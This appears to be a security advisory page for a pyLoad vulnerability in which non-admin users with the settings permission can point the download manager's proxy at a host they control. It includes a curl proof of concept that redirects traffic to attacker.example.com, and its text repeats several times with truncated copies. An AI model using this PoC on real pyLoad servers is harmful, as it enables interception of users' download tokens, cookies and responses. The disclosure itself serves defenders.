CVE-2026-42313

pyLoad is a free and open-source download manager written in Python. Prior to 0.5.0b3.dev100, the set_config_value() API method (@permission(Perms.SETTINGS)) in src/pyload/core/api/init.py gates security-sensitive options behind a hand-maintained allowlist ADMIN_ONLY_CORE_OPTIONS. The allowlist contains ("proxy", "username") and ("proxy", "password") — which protect the proxy credentials — but it does not include ("proxy", "enabled"), ("proxy", "host"), ("proxy", "port"), or ("proxy", "type"). Any authenticated user with the non-admin SETTINGS permission can enable proxying and point pyload at any host they control. From that point, every outbound download, captcha fetch, update check, and plugin HTTP call is transparently routed through the attacker. This is a direct continuation of the fix family CVE-2026-33509 / CVE-2026-35463 / CVE-2026-35464 / CVE-2026-35586, each of which patched a different missed option in the same allowlist. This vulnerability is fixed in 0.5.0b3.dev100.

pyLoad is a free and open-source download manager written in Python. Prior to 0.5.0b3.dev100, the set_config_value() API method (@permission(Perms.SETTINGS)) in src/pyload/core/api/init.py gates security-sensitive options behind a hand-maintained allowlist ADMIN_ONLY_CORE_OPTIONS. The allowlist contains ("proxy", "username") and ("proxy", "password") — which protect the proxy credentials — but it does not include ("proxy", "enabled"), ("proxy", "host"), ("proxy", "port"), or ("proxy", "type"). Any authenticated user with the non-admin SETTINGS permission can enable proxying and point pyload at any host they control. From that point, every outbound download, captcha fetch, update check, and plugin HTTP call is transparently routed through the attacker. This is a direct continuation of the fix family CVE-2026-33509 / CVE-2026-35463 / CVE-2026-35464 / CVE-2026-35586, each of which patched a different missed option in the same allowlist. This vulnerability is fixed in 0.5.0b3.dev100.

Summary

The set_config_value() API method (@permission(Perms.SETTINGS)) in src/pyload/core/api/__init__.py gates security-sensitive options behind a hand-maintained allowlist ADMIN_ONLY_CORE_OPTIONS. The allowlist contains ("proxy", "username") and ("proxy", "password") — which protect the proxy credentials — but it does not include ("proxy", "enabled"), ("proxy", "host"), ("proxy", "port"), or ("proxy", "type"). Any authenticated user with the non-admin SETTINGS permission can enable proxying and point pyload at any host they control. From that point, every outbound download, captcha fetch, update check, and plugin HTTP call is transparently routed through the attacker.

Gating only the proxy credentials is ineffective: the attacker is the proxy endpoint, so they do not need pyload's proxy-auth secret. proxy.username / proxy.password were designed so an admin could authenticate to a trusted corporate proxy; they do not help when the non-admin attacker is free to choose the proxy itself.

This is a direct continuation of the fix family CVE-2026-33509 / CVE-2026-35463 / CVE-2026-35464 / CVE-2026-35586, each of which patched a different missed option in the same allowlist. CVE-2026-35586 in particular bundled three related SSL-cert options into one advisory on the same rationale applied here — the four proxy.* fields are jointly required to weaponize the miss and are patched together.

Details

Writer — src/pyload/core/api/__init__.py, set_config_value() (around lines 215–290). The allowlist:

ADMIN_ONLY_CORE_OPTIONS = {
    ("general", "storage_folder"),
    ("log", "syslog_host"), ("log", "syslog_port"),
    ("proxy", "password"), ("proxy", "username"),   # <-- credentials gated
    ("reconnect", "script"),
    ("webui", "host"),
    ("webui", "ssl_certfile"), ("webui", "ssl_keyfile"), ("webui", "ssl_certchain"),
    ("webui", "use_ssl"),
}

("proxy", "enabled"), ("proxy", "host"), ("proxy", "port"), ("proxy", "type") are absent.

Reader — src/pyload/core/network/request_factory.py:82-100:

def get_proxies(self):
    if not self.pyload.config.get("proxy", "enabled"):
        return {}
    proxy_type     = self.pyload.config.get("proxy", "type")
    proxy_host     = self.pyload.config.get("proxy", "host")
    proxy_port     = self.pyload.config.get("proxy", "port")
    proxy_username = self.pyload.config.get("proxy", "username") or None
    proxy_password = self.pyload.config.get("proxy", "password") or None
    return {"type": proxy_type, ..., "host": proxy_host, "port": proxy_port, ...}

Sink — src/pyload/core/network/http/http_request.py (around lines 211–230) passes the dict to pycurl via PROXY / PROXYPORT / PROXYTYPE options. get_proxies() is called every time a new pycurl handle is constructed, so the new proxy config takes effect on the next outbound request — no restart required.

PoC

Authenticated as any user with Perms.SETTINGS (non-admin role):

# 1) Log in as the SETTINGS (non-admin) user.
curl -c cookies.txt -X POST http://pyload.example:8000/api/login \
    -d 'username=settings_user&password=<password>'

# 2) Redirect all outbound traffic through attacker.example.com:8080.
for kv in \
    'category=proxy&option=enabled&value=True' \
    'category=proxy&option=host&value=attacker.example.com' \
    'category=proxy&option=port&value=8080' \
    'category=proxy&option=type&value=http' ; do
  curl -b cookies.txt -X POST http://pyload.example:8000/api/setConfigValue \
      -d "$kv&section=core"
done

# 3) Enqueue any download (or wait for any periodic update / captcha
#    fetch). The attacker's server receives the full request — URL,
#    query string (often carrying auth tokens on download sites),
#    headers, cookies — and can inject an arbitrary response body.

Verification: run a raw HTTP listener on attacker.example.com:8080 (e.g. `socat -v…

pyLoad is a free and open-source download manager written in Python. Prior to 0.5.0b3.dev100, the set_config_value() API method (@permission(Perms.SETTINGS)) in src/pyload/core/api/init.py gates security-sensitive options behind a hand-maintained allowlist ADMIN_ONLY_CORE_OPTIONS. The allowlist contains ("proxy", "username") and ("proxy", "password") — which protect the proxy credentials — but it does not include ("proxy", "enabled"), ("proxy", "host"), ("proxy", "port"), or ("proxy", "type"). Any authenticated user with the non-admin SETTINGS permission can enable proxying and point pyload at any host they control. From that point, every outbound download, captcha fetch, update check, and plugin HTTP call is transparently routed through the attacker. This is a direct continuation of the fix family CVE-2026-33509 / CVE-2026-35463 / CVE-2026-35464 / CVE-2026-35586, each of which patched a different missed option in the same allowlist. This vulnerability is fixed in 0.5.0b3.dev100.

Summary

The set_config_value() API method (@permission(Perms.SETTINGS)) in src/pyload/core/api/__init__.py gates security-sensitive options behind a hand-maintained allowlist ADMIN_ONLY_CORE_OPTIONS. The allowlist contains ("proxy", "username") and ("proxy", "password") — which protect the proxy credentials — but it does not include ("proxy", "enabled"), ("proxy", "host"), ("proxy", "port"), or ("proxy", "type"). Any authenticated user with the non-admin SETTINGS permission can enable proxying and point pyload at any host they control. From that point, every outbound download, captcha fetch, update check, and plugin HTTP call is transparently routed through the attacker.

Gating only the proxy credentials is ineffective: the attacker is the proxy endpoint, so they do not need pyload's proxy-auth secret. proxy.username / proxy.password were designed so an admin could authenticate to a trusted corporate proxy; they do not help when the non-admin attacker is free to choose the proxy itself.

This is a direct continuation of the fix family CVE-2026-33509 / CVE-2026-35463 / CVE-2026-35464 / CVE-2026-35586, each of which patched a different missed option in the same allowlist. CVE-2026-35586 in particular bundled three related SSL-cert options into one advisory on the same rationale applied here — the four proxy.* fields are jointly required to weaponize the miss and are patched together.

Details

Writer — src/pyload/core/api/__init__.py, set_config_value() (around lines 215–290). The allowlist:

ADMIN_ONLY_CORE_OPTIONS = {
    ("general", "storage_folder"),
    ("log", "syslog_host"), ("log", "syslog_port"),
    ("proxy", "password"), ("proxy", "username"),   # <-- credentials gated
    ("reconnect", "script"),
    ("webui", "host"),
    ("webui", "ssl_certfile"), ("webui", "ssl_keyfile"), ("webui", "ssl_certchain"),
    ("webui", "use_ssl"),
}

("proxy", "enabled"), ("proxy", "host"), ("proxy", "port"), ("proxy", "type") are absent.

Reader — src/pyload/core/network/request_factory.py:82-100:

def get_proxies(self):
    if not self.pyload.config.get("proxy", "enabled"):
        return {}
    proxy_type     = self.pyload.config.get("proxy", "type")
    proxy_host     = self.pyload.config.get("proxy", "host")
    proxy_port     = self.pyload.config.get("proxy", "port")
    proxy_username = self.pyload.config.get("proxy", "username") or None
    proxy_password = self.pyload.config.get("proxy", "password") or None
    return {"type": proxy_type, ..., "host": proxy_host, "port": proxy_port, ...}

Sink — src/pyload/core/network/http/http_request.py (around lines 211–230) passes the dict to pycurl via PROXY / PROXYPORT / PROXYTYPE options. get_proxies() is called every time a new pycurl handle is constructed, so the new proxy config takes effect on the next outbound request — no restart required.

PoC

Authenticated as any user with Perms.SETTINGS (non-admin role):

# 1) Log in as the SETTINGS (non-admin) user.
curl -c cookies.txt -X POST http://pyload.example:8000/api/login \
    -d 'username=settings_user&password=<password>'

# 2) Redirect all outbound traffic through attacker.example.com:8080.
for kv in \
    'category=proxy&option=enabled&value=True' \
    'category=proxy&option=host&value=attacker.example.com' \
    'category=proxy&option=port&value=8080' \
    'category=proxy&option=type&value=http' ; do
  curl -b cookies.txt -X POST http://pyload.example:8000/api/setConfigValue \
      -d "$kv&section=core"
done

# 3) Enqueue any download (or wait for any periodic update / captcha
#    fetch). The attacker's server receives the full request — URL,
#    query string (often carrying auth tokens on download sites),
#    headers, cookies — and can inject an arbitrary response body.

Verification: run a raw HTTP listener on attacker.example.com:8080 (e.g. `socat -v…

pyLoad is a free and open-source download manager written in Python. Prior to 0.5.0b3.dev100, the set_config_value() API method (@permission(Perms.SETTINGS)) in src/pyload/core/api/init.py gates security-sensitive options behind a hand-maintained allowlist ADMIN_ONLY_CORE_OPTIONS. The allowlist contains ("proxy", "username") and ("proxy", "password") — which protect the proxy credentials — but it does not include ("proxy", "enabled"), ("proxy", "host"), ("proxy", "port"), or ("proxy", "type"). Any authenticated user with the non-admin SETTINGS permission can enable proxying and point pyload at any host they control. From that point, every outbound download, captcha fetch, update check, and plugin HTTP call is transparently routed through the attacker. This is a direct continuation of the fix family CVE-2026-33509 / CVE-2026-35463 / CVE-2026-35464 / CVE-2026-35586, each of which patched a different missed option in the same allowlist. This vulnerability is fixed in 0.5.0b3.dev100.